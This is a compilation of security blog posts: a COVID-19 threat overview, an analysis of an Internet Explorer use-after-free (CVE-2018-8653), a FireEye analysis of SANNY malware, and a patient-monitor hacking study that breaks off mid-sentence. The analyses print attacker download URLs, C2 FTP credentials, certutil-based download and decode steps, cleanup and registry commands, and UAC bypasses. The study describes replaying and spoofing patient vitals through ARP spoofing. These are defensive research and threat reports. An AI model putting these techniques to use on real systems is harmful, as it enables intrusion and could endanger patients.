We have not yet observed an incident of cyber espionage targeting COVID-19 related information; however, it is often difficult to determine what information these actors are targeting.
There has been at least one case reported publicly which we have not independently confirmed.
We have seen state actors, such as those from Russia, China and North Korea, leverage COVID-19 related social engineering, but given wide interest in that subject, that does not necessarily indicate targeting of COVID-19 related information.
Threat to Healthcare Though we have no reason to believe there is a sudden, elevated threat to healthcare, the criticality of these systems has probably never been greater, and thus the risk to this sector will be elevated throughout this crisis.
The threat of disruption is especially disconcerting as it could affect the ability of these organizations to provide safe and timely care.
This threat extends beyond hospitals to pharmaceutical companies, as well as manufacturing, administration and logistics organizations providing vital support.
Additionally, many critical public health resources lie at the state and local level.
Though there is some anecdotal evidence suggesting some ransomware actors are avoiding healthcare targets, we do not expect that all actors will practice this restraint.
Additionally, an attack on state and local governments, which have been a major target of ransomware actors, could have a disruptive effect on treatment and prevention efforts.
Remote Work The sudden and unanticipated shift of many workers to work from home status will represent an opportunity for threat actors.
Organizations will be challenged to move quickly to ensure sufficient capacity, as well as that security controls and policies are in place.
Disruptive situations can reduce morale and increase stress, leading to adverse behavior such as decreasing users’ reticence to open suspicious messages, and even increasing the risk of insider threats.
Distractions while working at home can cause lowered vigilance in scrutinizing and avoiding suspicious content as workers struggle to balance work and home responsibilities at the same time.
Furthermore, the rapid adoption of platforms will undoubtedly lead to security mistakes and attract the attention of the threat actors.
Secure remote access will likely rely on use of VPNs and user access permissions and authentication procedures intended to limit exposure of proprietary data.
Hardware and infrastructure protection should include ensuring full disk encryption on enterprise devices, maintaining visibility on devices through an endpoint security tool, and maintaining regular software updates.
For more on this issue, see our blog post on the risks associated with remote connectivity .
The Information Operations Threat We have seen information operations actors promote narratives associated with COVID-19 to manipulate primarily domestic or near-abroad audiences.
We observed accounts in Chinese-language networks operating in support of the People's Republic of China (PRC), some of which we previously identified to be promoting messaging pertaining to the Hong Kong protests, shift their focus to praising the PRC's response to the COVID-19 outbreak, criticizing the response of Hong Kong medical workers and the U.S. to the pandemic, and covertly promoting a conspiracy theory that the U.S. was responsible for the outbreak of the coronavirus in Wuhan.
We have also identified multiple information operations promoting COVID-19-related narratives that were aimed at Russian- and Ukrainian-speaking audiences, including some that we assess with high confidence are part of the broader suspected Russian influence campaign publicly referred to as \"Secondary Infektion,\" as well as other suspected Russian activity.
These operations have included leveraging a false hacktivist persona to spread the conspiracy theory that the U.S. developed the coronavirus in a weapons laboratory in Central Asia, taking advantage of physical protests in Ukraine to push the narrative that Ukrainians repatriated from Wuhan will infect the broader Ukrainian population, and claiming that the Ukrainian healthcare system is ill-equipped to deal with the pandemic.
Other operations alleged that U.S. government or military personnel were responsible for outbreaks of the coronavirus in various countries including Lithuania and Ukraine, or insisted that U.S. personnel would contribute to the pandemic's spread if scheduled multilateral military exercises in the region were to continue as planned.
Outlook It is clear that adversaries expect us to be distracted by these overwhelming events.
The greatest cyber security challenge posed by COVID-19 may be our ability to stay focused on the threats that matter most.
An honest assessment of the cyber security implications of the pandemic will be necessary to make efficient use of resources limited by the crisis itself.
For more information and resources that can help strengthen defenses, visit FireEye's \" Managing Through Change and Crisis \" site, which aggregates many resources to help organizations that are trying to navigate COVID-19 related security challenges.
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By Philippe Laulheret and Eoin Carroll on Jan 10, 2019 Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution.
The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group.
Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle.
McAfee products received an update to detect the threat shortly after the patch was released.
A remote attacker can target Internet Explorer Versions 9 through 11 via a specially crafted website, while a local attacker on a rogue network could also target the Web Proxy Auto-Discovery service, which uses the same vulnerable scripting engine (jscript.dll).
Microsoft Edge is not affected; however, other Windows applications that include the scripting engine might be vulnerable until the security patch from Microsoft is applied.
Context Vulnerabilities targeting Internet Explorer that can be triggered either remotely or locally are prime tools for cybercriminals to compromise many unpatched computers.
That is why criminals usually integrate those vulnerabilities into exploit kits, which propagate malware or conduct other nefarious activities against compromised hosts.
The threat of exploit kits is one reason to track this type of vulnerability and to ensure all security patches are deployed in a timely manner.
In 2018, more than 100 memory corruption vulnerabilities were found in a Microsoft scripting engine (either for Internet Explorer or Edge).
See the MITRE website for more details.
(For defense-in-depth, products such as McAfee Endpoint Security or McAfee Host Intrusion Prevention can detect and eradicate such threats until patches can be applied.)
Once a CVE ID is released, cybercriminals can take as little as a few weeks (or in some cases days) to integrate it into their exploit kit.
For example, CVE-2018-8174 was initially reported to Microsoft in late April by two teams of threat researchers who had observed its exploitation in the wild.
Microsoft published an advisory within a week, in early May.
Meanwhile, the researchers published their security analysis of the exploit.
Only two weeks later a proof-of-concept exploit was publicly released .
In the next couple of weeks exploit kits RIG and Magnitude integrated their weaponized versions of the exploit.
(A more detailed timeline can be found here .)
It took less than a month for cybercriminals to weaponize the vulnerability initially disclosed by Microsoft; therefore, it is critical to understand the threat posed by these attack vectors, and to ensure counter measures are in place to stop the threat before it can do any damage.
Technical details The IE scripting engine jscript.dll is a code base that has been heavily audited: https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html https://www.exploit-db.com/search?q=jscript It is no surprise that exploitable bugs are becoming more exotic.
This is the case for CVE 2018-8653, which takes three seemingly innocent behaviors and turns them into a use-after-free flaw.
A Microsoft-specific extension triggers a rarely explored code path that eventually misbehaves and invokes a frequently used function with unusual arguments.
This leads to the use-after-free condition that was exploited in the wild.
The enumerator object: The entry point for this vulnerability is a Microsoft-specific extension, the enumerator object.
It offers an API to enumerate opaque objects that belong to the Windows world (mostly ActiveX components, such as a file system descriptor used to list drives on a system).
However, it can also be called on a JavaScript array.
In this situation, one can access the array member as usual, but objects created this way are stored slightly differently in memory.
This is the cause of interesting side effects.
The objects created by calling the Enumerator.prototype.item() function are recognized as an ActiveXObject and, as seen in the creation of eObj, we can under certain circumstances overwrite the “prototype” member that should have been a read-only property.
Unexpected side effect: The ability to overwrite the prototype member of an ActiveXObject can seem innocuous at first, but it can be leveraged to explore a code path that should not be reachable.
When using the “instanceof” keyword, we can see that the right side of the keyword expects a function.
However, with a specially crafted object, the instanceof call succeeds and, worse, we can control the code being executed.
The edge case of invoking instanceof on a specially crafted ActiveXObject gives us the opportunity to run custom JavaScript code from a callback we control, which is typically an error-prone situation.
Attackers successfully turned this bug into a use-after-free condition, as we shall see next.
Exploiting the bug: Without getting into too much detail (see the proof of concept later in this document for more info), this bug can be turned into a “delete this” type of primitive, which resembles previously reported bugs .
When the callback function (“f” in our previous example) is invoked, the keyword “this” points to eObj.prototype.
If we set it to null and then trigger a garbage collection, the memory backing the object can be freed and later reclaimed.
However, as mentioned in the Project Zero bug report , to be successful an entire block of variables needs to be cleared before the memory is freed.
The out-of-band patch: Microsoft released an unscheduled patch to fix this vulnerability.
It is common practice for us to look at what changed before and after the patch.
Interestingly, this patch changes the strict minimum number of bytes, while the version number of the DLL remains unchanged.
Using the popular diffing tool Diaphora, we compared the version of jscript.dll for Windows 10, x64-bit edition (feature version 1809).
We can see that only a few functions were modified.
All but one point to array-related functions.
Those were probably patches addressing CVE 2018-8631 (jscript!JsArrayFunctionHeapSort out-of-bounds write).
The only one remaining that was substantially modified is NameTbl::InvokeInternal.
Diaphora provides us with a diff of the assembly code of the two versions of the function.
In this instance, it is easier to compare the functions side by side in Ida Pro to see what has changed.
A quick glance toward the end of the function shows the introduction of two calls to GCRoot::~GCRoot (the destructor of the object GCRoot).
Looking at the implementation of ~GCRoot, we see it is the same code as that inlined in that function created by the compiler in the older version of the DLL.
In the newer version of the DLL, this function is called twice; while in the unpatched version, the code was called only once (inlined by the compiler, hence the absence of a function call).
In C++ parlance, ~GCRoot is the destructor of GCRoot, so we may want to find the constructor of GCRoot.
An easy trick is to notice the magic offset 0x3D0 to see if this value is used anywhere else.
We find it near the top of the same function (the unpatched version is on the left):
Diving into the nitty gritty of garbage collection for jscript.dll is beyond the scope of this post, so let’s make some assumptions.
In C++/C#, GCRoot would usually design a template to keep track of references pointing to the object being used, so those do not have garbage collection.
Here it looks as though we are saving stack addresses (aka local variables) into a list of GCRoot objects to tell the garbage collector not to collect the objects whose pointers are on those specific locations on the stack.
In hindsight this makes sense; we were able to “delete this” because “this” was not tracked by the garbage collector, so now Microsoft makes sure to specifically add that stack variable to the tracked elements.
We can verify this hypothesis by tracing the code around an invocation of instanceof.
It turns out that just before invoking our custom “isPrototypeOf” callback function, a call to NameTbl::GetVarThis stores a pointer in the newly “protected” stack variable and then invokes ScrFncObj::Call to execute our callback.
Looking at unexpected behavior in `instanceof`: Curious readers might wonder why it is possible to invoke instanceof on a custom object rather than on a function (as described previously).
When instanceof is invoked in JavaScript, the CScriptRuntime::InstOf function is called behind the scene.
Early on, the function distinguishes two cases.
If the variable type is 0x81 (which seems to be a broad type for a JavaScript object on the heap), then it invokes a virtual function that returns true/false if the object can be called.
On the other hand, if the type is not 0x81, a different path is followed; it tries to automatically resolve the prototype object and invoke isPrototypeOf.
The 0x81 path:
The not 0x81 path: Proof of concept Now that we have seen the ins and outs of the bug, let’s look at a simple proof of concept that exhibits the use-after-free behavior.
First, we set up a couple of arrays, so that everything that can be preallocated is allocated, and the heap is in a somewhat ready state for the use after free.
Then, we declare our custom callback and trigger the vulnerability: For some reason, the objects array needs to be freed and garbage collected before the next step of the exploit.
This could be due to some side effect of freeing the ActiveXObject.
The memory is reclaimed when we assign “1” to the property reallocPropertyName.
That variable is a magic string that will be copied over the recently freed memory to mimic legitimate variables.
It is created as shown: The 0x0003 is a variable type that tells us the following value is an integer and that 1337 is its value.
The string needs to be long enough to trigger an allocation of the same or similar size as the memory block that was recently freed.
To summarize, JavaScript variables (here, the RegExp objects) are stored in a block; when all the variables from the block are freed, the block itself is freed.
In the right circumstances, the newly allocated string can take the place of the recently freed block, and because “this” is still dangling in our callback, it can be used for some type confusion.
(This is the method used by the attackers, but beyond the scope of this post.)
In this example, the code will print 1337 instead of an empty RegExp.
McAfee coverage Please refer to the McAfee product bulletin for full coverage updates.
Here is a short summary of current product coverage as of this writing.
Endpoint products: Endpoint Security (ENS), ENS Adaptive Threat Protection (ENS-ATP), Host Intrusion Prevention (HIPS), VirusScan Enterprise (VSE), WSS.
ENS (10.2.0+) with Exploit Prevention Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428 HIPS (8.0.0+) Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428 ENS (all versions) and WSS (all versions).
Coverage based on samples observed so far.
This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
Minimum DAT: V3 DAT (3564) Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a VSE (8.8+).
Coverage based on samples observed so far.
This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
Minimum DAT: V2 DAT (9113)
Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a Content summary DATs: V2 DAT (9113), V3 DAT (3564)
Generic Buffer Overflow Protection Signature ID 428 MITRE score The base score (CVSS v3.0) for this vulnerability is 7.5 (High) with an impact score of 5.9 and an exploitability score of 1.6.
Conclusion CVE-2018-8653 targets multiple versions of Internet Explorer and other applications that rely on the same scripting engine.
Attackers can execute arbitrary code on unpatched hosts from specifically crafted web pages or JavaScript files.
Even though the bug was recently fixed by Microsoft, we can expect exploit kits to soon deploy a weaponized version of this critical vulnerability, leveraging it to target remaining unpatched systems.
The technical analysis in this post should provide enough information for defenders to ensure their systems will withstand the threat and to know which primitives to look for as an entry point for the attack.
McAfee security products can be leveraged to provide specific “virtual patching” for this threat until full software patches can be deployed, while current generic buffer overflow protection rules can be used to fingerprint exploit attempts against this and similar vulnerabilities.
Introduction In the third week of March 2018, through FireEye’s Dynamic Threat Intelligence, FireEye discovered malicious macro-based Microsoft Word documents distributing SANNY malware to multiple governments worldwide.
Each malicious document lure was crafted in regard to relevant regional geopolitical issues.
FireEye has tracked the SANNY malware family since 2012 and believes that it is unique to a group focused on Korean Peninsula issues.
This group has consistently targeted diplomatic entities worldwide, primarily using lure documents written in English and Russian.
As part of these recently observed attacks, the threat actor has made significant changes to their usual malware delivery method.
The attack is now carried out in multiple stages, with each stage being downloaded from the attacker’s server.
Command line evasion techniques, the capability to infect systems running Windows 10, and use of recent User Account Control (UAC) bypass techniques have also been added.
Document Details
The following two documents, detailed below, have been observed in the latest round of attacks: MD5 hash: c538b2b2628bba25d68ad601e00ad150 SHA256 hash: b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4 Original Filename: РГНФ 2018-2019.doc
The document shown in Figure 1 discusses Eurasian geopolitics as they relate to China, as well as Russia’s security.
Figure 1: Sample document written in Russian MD5 hash: 7b0f14d8cd370625aeb8a6af66af28ac SHA256 hash: e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1 Original Filename: Copy of communication from Security Council Committee (1718).doc The document shown in Figure 2 discusses sanctions on humanitarian operations in the Democratic People’s Republic of Korea (DPRK).
Figure 2: Sample document written in English Macro Analysis In both documents, an embedded macro stores the malicious command line to be executed in the TextBox property (TextBox1.Text) of the document.
This TextBox property is first accessed by the macro to execute the command on the system and is then overwritten to delete evidence of the command line.
Stage 1: BAT File Download In Stage 1, the macro leverages the legitimate Microsoft Windows certutil.exe utility to download an encoded Windows Batch (BAT) file from the following URL: http://more.1apps[.
]com/1.txt.
The macro then decodes the encoded file and drops it in the %temp% directory with the name: 1.bat.
There were a few interesting observations in the command line: The macro copies the Microsoft Windows certutil.exe utility to the %temp% directory with the name: ct.exe.
One of the reasons for this is to evade detection by security products.
Recently, FireEye has observed other threat actors using certutil.exe for malicious purposes.
By renaming “certutil.exe” before execution, the malware authors are attempting to evade simple file-name based heuristic detections.
The malicious BAT file is stored as the contents of a fake PEM encoded SSL certificate (with the BEGIN and END markers) on the Stage 1 URL, as shown in Figure 3.
The “certutil.exe” utility is then leveraged to both strip the BEGIN/END markers and decode the Base64 contents of the file.
FireEye has not previously observed the malware authors use this technique in past campaigns.
Figure 3:
Malicious BAT file stored as an encoded file to appear as an SSL certificate BAT File Analysis Once decoded and executed, the BAT file from Stage 1 will download an encoded CAB file from the base URL: hxxp://more.1apps[.]com/.
The exact file name downloaded is based on the architecture of the operating system.
For a 32-bit operating system: hxxp://more.1apps[.
]com/2.txt For a 64-bit operating system: hxxp://more.1apps[.
]com/3.txt Similarly, based on Windows operating system version and architecture, the CAB file is installed using different techniques.
For Windows 10, the BAT file uses rundll32 to invoke the appropriate function from update.dll (component inside setup.cab).
For a 32-bit operating system: rundll32 update.dll _EntryPoint@16
For a 64-bit operating system: rundll32 update.dll EntryPoint
For other versions of Windows, the CAB file is extracted using the legitimate Windows Update Standalone Installer (wusa.exe) directly into the system directory: The BAT file also checks for the presence of Kaspersky Lab Antivirus software on the machine.
If found, CAB installation is changed accordingly in an attempt to bypass detection: Stage 2: CAB File Analysis As described in the previous section, the BAT file will download the CAB file based on the architecture of the underlying operating system.
The rest of the malicious activities are performed by the downloaded CAB file.
The CAB file contains the following components: install.bat – BAT file used to deploy and execute the components.
ipnet.dll –
Main component that we refer to as SANNY malware.
ipnet.ini – Config file used by SANNY malware.
NTWDBLIB.dll – Performs UAC bypass on Windows 7 (32-bit and 64-bit).
update.dll – Performs UAC bypass on Windows 10. install.bat will perform the following essential activities: Checks the current execution directory of the BAT file.
If it is not the Windows system directory, then it will first copy the necessary components (ipnet.dll and ipnet.ini) to the Windows system directory before continuing execution: Hijacks a legitimate Windows system service, COMSysApp (COM+ System Application) by first stopping this service, and then modifying the appropriate Windows service registry keys to ensure that the malicious ipnet.dll will be loaded when the COMSysApp service is started:
After the hijacked COMSysApp service is started, it will delete all remaining components of the CAB file: ipnet.dll is the main component inside the CAB file that is used for performing malicious activities.
This DLL exports the following two functions: ServiceMain – Invoked when the hijacked system service, COMSysApp, is started.
Post – Used to perform data exfiltration to the command and control (C2) server using FTP protocol.
The ServiceMain function first performs a check to see if it is being run in the context of svchost.exe or rundll32.exe.
If it is being run in the context of svchost.exe, then it will first start the system service before proceeding with the malicious activities.
If it is being run in the context of rundll32.exe, then it performs the following activities: Deletes the module NTWDBLIB.DLL from the disk using the following command: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q
NTWDBLIB.DLL Sets the code page on the system to 65001, which corresponds to UTF-8: cmd /c REG ADD HKCU\\Console /v
CodePage /t
REG_DWORD /d
65001 /f Command and Control (C2)
Communication SANNY malware uses the FTP protocol as the C2 communication channel.
FTP Config File The FTP configuration information used by SANNY malware is encoded and stored inside ipnet.ini.
This file is Base64 encoded using the following custom character set: SbVIn=BU/dqNP2kWw0oCrm9xaJ3tZX6OpFc7Asi4lvuhf-TjMLRQ5GKeEHYgD1yz8
Upon decoding the file, the following credentials can be recovered: FTP Server: ftp.capnix[.
]com Username: cnix_21072852 Password: vlasimir2017 It then continues to perform the connection to the FTP server decoded from the aforementioned config file, and sets the current directory on the FTP server as “htdocs” using the FtpSetCurrentDirectoryW function.
System Information Collection For reconnaissance purposes, SANNY malware executes commands on the system to collect information, which is sent to the C2 server.
System information is gathered from the machine using the following command: The list of running tasks on the system is gathered by executing the following command:
C2 Commands After successful connection to the FTP server decoded from the configuration file, the malware searches for a file containing the substring “to everyone” in the “htdocs” directory.
This file will contain C2 commands to be executed by the malware.
Upon discovery of the file with the “to everyone” substring, the malware will download the file and then performs actions based on the following command names: chip command: This command deletes the existing ipnet.ini configuration file from the file system and creates a new ipnet.ini file with a specified configuration string.
The chip commands allows the attacker to migrate malware to a new FTP C2 server.
The command has the following syntax: pull command: This command is used for the purpose of data exfiltration.
It has the ability to upload an arbitrary file from the local filesystem to the attacker’s FTP server.
The command has the following syntax: The uploaded file is compressed and encrypted using the routine described later in the Compression and Encoding Data section.
put command: This command is used to copy an existing file on the system to a new location and delete the file from the original location.
The command has the following syntax: default command: If the command begins with the substring “cmd /c”, but it is not followed by either of the previous commands (chip, pull, and put), then it directly executes the command on the machine using WinExec.
/user command: This command will execute a command on the system as the logged in user.
The command duplicates the access token of “explorer.exe” and spawns a process using the following steps: Enumerates the running processes on the system to search for the explorer.exe process and obtain the process ID of explorer.exe.
Obtains the access token for the explorer.exe process with the access flags set to 0x000F01FF.
Starts the application (defined in the C2 command) on the system by calling the CreateProcessAsUser function and using the access token obtained in Step 2.
C2 Command Purpose chip Update the FTP server config file pull Upload a file from the machine put Copy an existing file to a new destination /user
Create a new process with explorer.exe access token default command Execute a program on the machine using WinExec() Compression and Encoding Data SANNY malware uses an interesting mechanism for compressing the contents of data collected from the system and encoding it before exfiltration.
Instead of using an archiving utility, the malware leverages Shell.
Application COM object and calls the CopyHere method of the IShellDispatch interface to perform compression as follows: Creates an empty ZIP file with the name: temp.zip in the %temp% directory.
Writes the first 16 bytes of the PK header to the ZIP file.
Calls the CopyHere method of IShellDispatch interface to compress the collected data and write to temp.zip.
Reads the contents of temp.zip to memory.
Deletes temp.zip from the disk.
Creates an empty file, post.txt, in the %temp% directory.
The temp.zip file contents are Base64 encoded (using the same custom character set mentioned in the previous FTP Config File section) and written to the file: %temp%\\post.txt.
Calls the FtpPutFileW function to write the contents of post.txt to the remote file with the format: “from <computer_name_timestamp>.txt” Execution on Windows 7 and User Account Control (UAC)
Bypass NTWDBLIB.dll – This component from the CAB file will be extracted to the %windir%\\system32 directory.
After this, the cliconfg command is executed by the BAT file.
The purpose of this DLL module is to launch the install.bat file.
The file cliconfg.exe is a legitimate Windows binary (SQL Client Configuration Utility), loads the library NTWDBLIB.dll upon execution.
Placing a malicious copy of NTWDBLIB.dll in the same directory as cliconfg.exe is a technique known as DLL side-loading, and results in a UAC bypass.
Execution on Windows 10 and UAC Bypass Update.dll – This component from the CAB file is used to perform UAC bypass on Windows 10.
As described in the BAT File Analysis section, if the underlying operating system is Windows 10, then it uses update.dll to begin the execution of code instead of invoking the install.bat file directly.
The main actions performed by update.dll are as follows:
Executes the following commands to setup the Windows registry for UAC bypass: Leverages a UAC bypass technique that uses the legitimate Windows binary, fodhelper.exe, to perform the UAC bypass on Windows 10 so that the install.bat file is executed with elevated privileges: Creates an additional BAT file, kill.bat, in the current directory to delete evidence of the UAC bypass.
The BAT file kills the current process and deletes the components update.dll and kill.bat from the file system:
Conclusion This activity shows us that the threat actors using SANNY malware are evolving their malware delivery methods, notably by incorporating UAC bypasses and endpoint evasion techniques.
By using a multi-stage attack with a modular architecture, the malware authors increase the difficulty of reverse engineering and potentially evade security solutions.
Users can protect themselves from such attacks by disabling Office macros in their settings and practicing vigilance when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
Indicators of Compromise SHA256 Hash Original Filename b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4 РГНФ 2018-2019.doc e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1 Copy of communication from Security Council Committee (1718).doc eb394523df31fc83aefa402f8015c4a46f534c0a1f224151c47e80513ceea46f 1.bat a2e897c03f313a097dc0f3c5245071fbaeee316cfb3f07785932605046697170 Setup.cab (64-bit) a3b2c4746f471b4eabc3d91e2d0547c6f3e7a10a92ce119d92fa70a6d7d3a113 Setup.cab (32-bit) Subscribe to Blogs Get email updates as new blog posts are added.
By Douglas McKee on Aug 11, 2018
The author thanks Shaun Nordeck, MD, for his assistance with this report.
With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it.
The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data.
McAfee’s Advanced Threat Research team is exploring these devices to increase awareness about their security.
Some medical devices, such as pacemakers and insulin pumps, have already been examined for security concerns.
To help select an appropriate target for our research, we spoke with a doctor.
In our conversations we learned just how important the accuracy of a patient’s vital signs is to medical professionals.
“Vital signs are integral to clinical decision making” explained Dr. Shaun Nordeck.
Bedside patient monitors and related systems are key components that provide medical professionals with the vital signs they need to make decisions; these systems are now the focal point of this research.
Exploring the attack surface Most patient monitoring systems comprise at minimum of two basic components: a bedside monitor and a central monitoring station.
These devices are wired or wirelessly networked over TCP/IP.
The central monitoring station collects vitals from multiple bedside monitors so that a single medical professional can observe multiple patients.
With the help of eBay, we purchased both a patient monitor and a compatible central monitoring station at a reasonable cost.
The patient monitor monitored heartbeat, oxygen level, and blood pressure.
It has both wired and wireless networking and appeared to store patient information.
The central monitoring station ran Windows XP Embedded, with two Ethernet ports, and ran in a limited kiosk mode at start-up.
Both units were produced around 2004; several local hospitals confirmed that these models are still in use.
The two devices offer a range of potential attack surfaces.
The central monitoring station operates fundamentally like a desktop computer running Windows XP, which has been extensively researched by the security community.
The application running on the central monitoring station is old; if we found a vulnerability, it would likely be tied to the legacy operating system.
The patient monitor’s firmware could be evaluated for vulnerabilities; however, this would affect only one of the two devices in the system and is the hardest vector to exploit.
This leaves the communication between the two devices as the most interesting attack vector since if the communication could be compromised, an attack could possibly be device independent, affecting both devices by a remote attack.
Given this possibility, we chose networking as the first target for this research.
Dr. Nordeck confirmed that if the information passing to the central monitoring system could be modified in real time, this would be a meaningful and valid concern to medical professionals.
Thus the primary question of our research became “Is it possible in real time to modify a patient’s vitals being transmitted over the network?”
Setup When performing a vulnerability assessment of any device, it is best to first operate the device as originally designed.
Tracking vital signs is the essence of the patient monitor, so we looked for a way to accurately simulate those signs for testing.
Many hardware simulators are on the market and vary drastically in cost.
The cheapest and easiest vital sign to simulate turned out to be a heartbeat.
For less than $100 we purchased an electrocardiogram (ECG) simulator on eBay.
The following image illustrates our test network:
In our test bed, the patient monitor (left), central monitoring station (right), and a research computer (top) were attached to a standard switch.
The research computer was configured on a monitor port of the switch to sniff the traffic between the central monitoring device and the patient monitor.
The ECG simulator was attached to the patient monitor.
Reconnaissance With the network configured, we turned to Wireshark to watch the devices in action.
The first test was to boot only the central monitor station and observe any network traffic.
In the preceding screenshot a few basic observations stand out.
First, we can see that the central station is sending User Datagram Protocol (UDP) broadcast packets every 10 seconds with a source and destination port of 7000.
We can also see clear-text ASCII in the payload, which provides the device name.
After collecting and observing these packets for several minutes, we can assume this is standard behavior.
Because the central station is running on a Window XP embedded machine, we can attempt to verify this information by doing some quick reverse engineering of the binaries used by the application.
After putting several libraries into Interactive Disassembler Pro, it is apparent that the symbols and debugging information has been left behind.
With a little cleanup and work from the decompilers, we see the following code: This loop calls a function that broadcasts Rwhat, a protocol used by some medical devices.
We also can see a function called to get the amount of time to wait between packets, with the result plugged into the Windows sleep function.
This code block confirms what we saw with Wireshark and gives us confidence the communication is consistent.
Having gained basic knowledge of the central monitoring station, the next step was to perform the same test on the patient monitor.
With the central station powered down, we booted the patient monitor and watched the network traffic using Wireshark.
We can make similar observations about the patient monitor’s broadcast packets, including the 10-second time delay and patient data in plaintext.
In these packets we see that the source port is incrementing but the destination port, 7000, is the same as the central monitoring station’s.
After reviewing many of these packets, we find that offset 0x34 of the payload has a counter that increments by 0xA, or 10, with each packet.
Without potentially damaging the patient monitor, there is no good way to extract the firmware to review its code.
However, the central monitoring station must have code to receive these packets.
With a bit of digging through the central station’s binaries, we found the section parsing the broadcast packets from the patient monitor.
The first line of code parses the payload of the packet plus 12 bytes.
If we count in 12 bytes from the payload on the Wireshark capture, we can see the start of the patient data in clear text.
The next function called is parse_logical_name, whose second parameter is an upper limit for the string being passed.
This field has a maximum length of 0x20, or 32, bytes.
The subsequent code handles whether this information is empty and stores the data in the format logical_name.
This review again helps confirm what we see in real time with Wireshark.
Now that we understand the devices’ separate network traffic, we can look at how they interact.
Using our network setup and starting the ECG simulator we can see the central monitor station and the patient monitor come to life.
With everything working, we again use Wireshark to examine the traffic.
We find a new set of packets.
In the preceding screen capture we see the patient monitor at IP address 126.4.153.150 is sending the same-size data packets to the central monitoring station at address 126.1.1.1.
The source port does not change.
Through these basic tests we learn a great deal: The two devices are speaking over unencrypted UDP The payload contains counters and patient information The broadcast address does not require the devices to know each other’s address
beforehand When the data is sent distinct packets contain the waveform Attacking the protocol
Our reconnaissance tells us we may have the right conditions for a replay attack.
Such an attack would not satisfy our goal of modifying data in real time across the network; however, it would provide more insight about the requirements and may prove useful in reaching our goal.
After capturing the packets from the simulated heartbeat, we attempted to replay the captures using Python’s Scapy library.
We did this with the patient monitor turned off and the central monitoring station listening for information.
After several attempts, this test was unsuccessful.
This failure shows the system expects more than just a device sending data packets to a specific IP address.
We examined more closely the packets that are sent before the data packets.
We learned that even though the packets are sent with UDP, some sort of handshake is performed between the two devices.
The next diagram describes this handshake.
In this fanciful dialog, CMS is the central monitoring system; PM is the patient monitor.
To understand what is happening during the handshake, we can relate each phase of this handshake to that of a TCP three-way handshake.
(This is only an analogy; the device is not actually performing a TCP three-way handshake.)
The central monitoring station first sends a packet to port 2000 to the patient monitor.
This can be considered the “SYN” packet.
The patient monitor responds to the central station; notice it responds to the source port of the initial request.
This can be considered the “SYN,ACK.”
The central station sends the final “ACK,” essentially completing a three-way (or three-step) handshake.
Directly following this step, the patient monitor sends another packet to the initial port of the “SYN” packet.
The central monitor responds to the patient monitor on port 2000 with a new source port.
Immediately following, we see the data packets being sent to the new source port, 3627, named in the previous exchange.
This exam provides insight into why the replay attack did not work.
The central station defines for each connection which ports will be open for the incoming data; we need to consider this when attempting a replay attack.
Modifying our previous Scapy scripts to account for the handshake, we retested the replay attack.
With the new handshake code in place, the test still failed.
Taking another look at the “SYN,ACK” packets provides a potential reason for the failure.
At offset 0x3D is a counter that needs to be incremented each time one of these packets is sent.
In this case the patient monitor’s source IP address is embedded in the payload at offsets 0x2A and 0x30.
This embedded IP address is not as important for this attack because during the replay our scripts can become the patient monitor’s IP; however, this will become more important later.
The newly discovered counter needs to be accounted for and incremented.
Emulating a patient monitor By taking these new findings into account our replay attack becomes successful.
If we can observe a certain ECG pattern, we can play it back to the central monitoring station without the patient monitor on the network.
Thus we can emulate the function of the patient monitor with any device.
The following video demonstrates this emulation using a Raspberry Pi.
We set our Scapy scripts to load after booting the Pi, which mimics the idle function of the patient monitor.
When the central monitor requests information about the patient’s vitals, the Pi provides the station with an 80-beats-per-minute wave form.
This also works with the other vital signs.
Impact of emulation Although we have not yet reached our goal of real-time modification, we must consider the implications of this type of attack.
If someone were to unplug the monitor of a stable patient and replace it with a device that continued to report the same stable vitals, would that cause any harm?
Probably not immediately.
But what if the stable patient suddenly became unstable?
The central station would normally sound an alarm to alert medical personal, who could take appropriate action.
However, if the monitor had been replaced, would anyone know help was needed?
The patient monitor also normally sounds alarms that might be heard in and outside of the patient’s room, yet if the monitor was replaced, those alarms would be absent.
In hospitals, nurses and other personal generally make periodic checks even of stable patients.
So any deception might not last long, but it might not need to.
What if someone were trying to kidnap a patient?
A kidnapper would alert fewer people than would be expected.
Switching from a real patient monitor to an emulator would cause a short loss in communication from the patient’s room to the central monitoring station.
Is this enough to make the scenario unrealistic or not a threat?
We asked Dr. Nordeck if a short loss in connection could be part of a reasonable scenario.
“A momentary disconnection of the ECG would likely go unnoticed as this happens often due to patient movement or changing clothes and, as long as it is reconnected, will be unlikely to cause an alert,” he said.
Modifying vitals in real time Although emulating the patient monitor is interesting, it did not accomplish our goal of making real-time modifications.
Using what we learned while testing emulation, could we perform real-time injection?
To answer this question, we must first understand the difference between emulation and real-time injection.
Emulation requires a deeper understanding of how the initial connection, the handshake, between the two devices occurred.
When considering real-time modification, this handshake has already taken place.
But an attacker would not know which port the data packets are being sent too, nor any of the other ports used in the data stream.
Plus, because the real patient monitor is still online, it will constantly send data to the central monitoring station.
One way to account for these factors is to use Address Resolution Protocol (ARP) spoofing.
If the patient monitor is ARP spoofed, then the attacker, instead of the central monitoring station, would receive the data packets.
This step would allow the attacker to determine which ports are in use and stop the patient monitor’s data from getting to the central monitoring station.
Because we have already shown that emulation works, the attacker simply has to send replacement data to the central station while appearing as the patient monitor.
For example, consider the following original packet coming from the patient monitor:
